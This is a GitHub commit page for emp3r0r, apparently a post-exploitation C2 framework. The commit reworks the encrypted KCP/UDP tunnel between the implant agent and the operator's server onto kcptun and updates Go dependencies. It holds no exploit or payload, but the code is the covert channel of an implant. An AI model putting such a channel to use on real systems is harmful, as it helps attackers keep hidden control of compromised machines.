Skip to content

Commit

Permalink
fix: re-implement kcp C2 based on kcptun, use single UDP connection
Browse files Browse the repository at this point in the history
  • Loading branch information
jm33-m0 committed Oct 25, 2024
1 parent fb8b62f commit 331b857
Show file tree
Hide file tree
Showing 5 changed files with 722 additions and 140 deletions.
14 changes: 10 additions & 4 deletions core/go.mod
Original file line number Diff line number Diff line change
@@ -1,16 +1,16 @@
module github.com/jm33-m0/emp3r0r/core

go 1.22.0
go 1.22.3

toolchain go1.22.2
toolchain go1.22.7

require (
github.com/Code-Hex/Neo-cowsay/v2 v2.0.4
github.com/Microsoft/go-winio v0.6.2
github.com/bettercap/readline v0.0.0-20210228151553-655e48bcb7bf
github.com/cavaliergopher/grab/v3 v3.0.1
github.com/creack/pty v1.1.23
github.com/fatih/color v1.17.0
github.com/fatih/color v1.18.0
github.com/gliderlabs/ssh v0.3.7
github.com/gonutz/w32/v2 v2.11.1
github.com/google/uuid v1.6.0
Expand All @@ -27,6 +27,7 @@ require (
github.com/ncruces/go-dns v1.2.5
github.com/olekukonko/tablewriter v0.0.5
github.com/otiai10/copy v1.14.0
github.com/pkg/errors v0.9.1
github.com/pkg/sftp v1.13.6
github.com/posener/h2conn v0.0.0-20231204025407-3997deeca0f0
github.com/refraction-networking/utls v1.6.7
Expand All @@ -36,6 +37,10 @@ require (
github.com/txthinking/socks5 v0.0.0-20230325130024-4230056ae301
github.com/vishvananda/netlink v1.3.0
github.com/xtaci/kcp-go/v5 v5.6.18
github.com/xtaci/kcptun v0.0.0-20241023084417-003bd442cf5b
github.com/xtaci/qpp v1.1.17
github.com/xtaci/smux v1.5.31
github.com/xtaci/tcpraw v1.2.31
golang.org/x/crypto v0.28.0
golang.org/x/net v0.30.0
golang.org/x/sys v0.26.0
Expand All @@ -51,11 +56,13 @@ require (
github.com/bodgit/sevenzip v1.5.2 // indirect
github.com/bodgit/windows v1.0.1 // indirect
github.com/cloudflare/circl v1.5.0 // indirect
github.com/coreos/go-iptables v0.7.0 // indirect
github.com/dsnet/compress v0.0.2-0.20230904184137-39efe44ab707 // indirect
github.com/gen2brain/shm v0.1.1 // indirect
github.com/go-ole/go-ole v1.3.0 // indirect
github.com/godbus/dbus/v5 v5.1.0 // indirect
github.com/golang/snappy v0.0.4 // indirect
github.com/google/gopacket v1.1.19 // indirect
github.com/gorilla/websocket v1.5.3 // indirect
github.com/hashicorp/errwrap v1.1.0 // indirect
github.com/hashicorp/go-multierror v1.1.1 // indirect
Expand All @@ -78,7 +85,6 @@ require (
github.com/nwaples/rardecode/v2 v2.0.0-beta.3 // indirect
github.com/patrickmn/go-cache v2.1.0+incompatible // indirect
github.com/pierrec/lz4/v4 v4.1.21 // indirect
github.com/pkg/errors v0.9.1 // indirect
github.com/power-devops/perfstat v0.0.0-20240221224432-82ca36839d55 // indirect
github.com/riobard/go-bloom v0.0.0-20200614022211-cdc8013cb5b3 // indirect
github.com/rivo/uniseg v0.4.7 // indirect
Expand Down
86 changes: 4 additions & 82 deletions core/lib/agent/kcp.go
Original file line number Diff line number Diff line change
@@ -1,98 +1,20 @@
package agent

import (
"context"
"crypto/sha256"
"fmt"
"io"
"log"
"net"

emp3r0r_data "github.com/jm33-m0/emp3r0r/core/lib/data"
"github.com/jm33-m0/emp3r0r/core/lib/util"
"github.com/xtaci/kcp-go/v5"
"golang.org/x/crypto/pbkdf2"
"github.com/jm33-m0/emp3r0r/core/lib/tun"
)

// Connect to C2 KCP server, forward Shadowsocks traffic
func KCPClient() {
if !RuntimeConfig.UseKCP {
return
}
ln, err := net.Listen("tcp", fmt.Sprintf("127.0.0.1:%s", RuntimeConfig.KCPPort))
err := tun.KCPTunClient(RuntimeConfig.CCHost, RuntimeConfig.KCPPort,
RuntimeConfig.Password, emp3r0r_data.MagicString)
if err != nil {
log.Printf("KCPClient: %v", err)
return
}
defer func() {
if ln != nil {
ln.Close()
}
log.Print("KCPClient exited")
}()

serve_conn := func(client_conn net.Conn) {
// log
log.Printf("KCP: serving conn %s -> %s",
client_conn.LocalAddr(),
client_conn.RemoteAddr())

// monitor C2 connection state
ctx, cancel := context.WithCancel(context.Background())
go func() {
for emp3r0r_data.KCPKeep {
util.TakeABlink()
}
// kill client_conn if lost C2 connection
log.Printf("Killing KCP client conn %s as C2 is disconnected", client_conn.LocalAddr())
cancel()
emp3r0r_data.KCPKeep = true
}()

// dial to C2 KCP server
key := pbkdf2.Key([]byte(RuntimeConfig.Password),
[]byte(emp3r0r_data.MagicString), 1024, 32, sha256.New)
block, _ := kcp.NewAESBlockCrypt(key)

sess, err := kcp.DialWithOptions(fmt.Sprintf("%s:%s",
RuntimeConfig.CCHost, RuntimeConfig.KCPPort),
block, 10, 3)
defer func() {
sess.Close()
client_conn.Close()
log.Printf("KCP: done with conn %s -> %s",
client_conn.LocalAddr(),
client_conn.RemoteAddr())
}()
if err != nil {
log.Printf("KCP dial: %v", err)
return
}
go func() {
_, err = io.Copy(sess, client_conn)
if err != nil {
log.Printf("client_conn -> kcp: %v", err)
return
}
}()
go func() {
_, err = io.Copy(client_conn, sess)
if err != nil {
log.Printf("client_conn -> kcp: %v", err)
return
}
}()
for ctx.Err() == nil {
util.TakeABlink()
}
}

for {
conn, err := ln.Accept()
if err != nil {
log.Printf("KCPClient accept: %v", err)
continue
}
go serve_conn(conn)
log.Printf("KCPTUN failed to start: %v", err)
}
}
2 changes: 1 addition & 1 deletion core/lib/agent/poll.go
Original file line number Diff line number Diff line change
Expand Up @@ -34,6 +34,7 @@ func CheckIn() (err error) {
if err != nil {
return err
}
defer conn.Close()
out := json.NewEncoder(conn)
err = out.Encode(info)
if err == nil {
Expand All @@ -49,7 +50,6 @@ func IsCCOnline(proxy string) bool {
Timeout: 60 * time.Second,
KeepAlive: 30 * time.Second,
}).Dial,
// We use ABSURDLY large keys, and should probably not.
TLSHandshakeTimeout: 60 * time.Second,
}
if proxy != "" && strings.HasPrefix(emp3r0r_data.Transport, "HTTP2") {
Expand Down
56 changes: 3 additions & 53 deletions core/lib/cc/kcp.go
Original file line number Diff line number Diff line change
Expand Up @@ -4,62 +4,12 @@
package cc

import (
"crypto/sha256"
"fmt"
"io"
"log"
"net"

emp3r0r_data "github.com/jm33-m0/emp3r0r/core/lib/data"
"github.com/xtaci/kcp-go/v5"
"golang.org/x/crypto/pbkdf2"
"github.com/jm33-m0/emp3r0r/core/lib/tun"
)

// KCPListenAndServe KCP server for Shadowsocks
func KCPListenAndServe() {
key := pbkdf2.Key([]byte(RuntimeConfig.Password),
[]byte(emp3r0r_data.MagicString), 1024, 32, sha256.New)
block, _ := kcp.NewAESBlockCrypt(key)
if listener, err := kcp.ListenWithOptions("0.0.0.0:"+RuntimeConfig.KCPPort,
block, 10, 3); err == nil {
for {
s, err := listener.AcceptKCP()
if err != nil {
log.Fatal(err)
}
go fwd2Shadowsocks(s)
}
} else {
log.Fatal(err)
}
}

// fwd2Shadowsocks send everything to Shadowsocks server
func fwd2Shadowsocks(conn *kcp.UDPSession) {
ss_addr := fmt.Sprintf("127.0.0.1:%s", RuntimeConfig.ShadowsocksPort)
ss_conn, err := net.Dial("tcp", ss_addr)
defer func() {
if ss_conn != nil {
ss_conn.Close()
}
if conn != nil {
conn.Close()
}
}()
if err != nil {
CliPrintWarning("fwd2Shadowsocks: connecting to shadowsocks: %v", err)
return
}
// iocopy
go func() {
_, err = io.Copy(conn, ss_conn)
if err != nil {
CliPrintWarning("ss_conn -> kcpconn: %v", err)
return
}
}()
_, err = io.Copy(ss_conn, conn)
if err != nil {
CliPrintWarning("kcpconn -> ss_conn: %v", err)
}
tun.KCPTunServer("127.0.0.1:"+RuntimeConfig.ShadowsocksPort,
RuntimeConfig.KCPPort, RuntimeConfig.Password, emp3r0r_data.MagicString)
}
Loading

0 comments on commit 331b857

Please sign in to comment.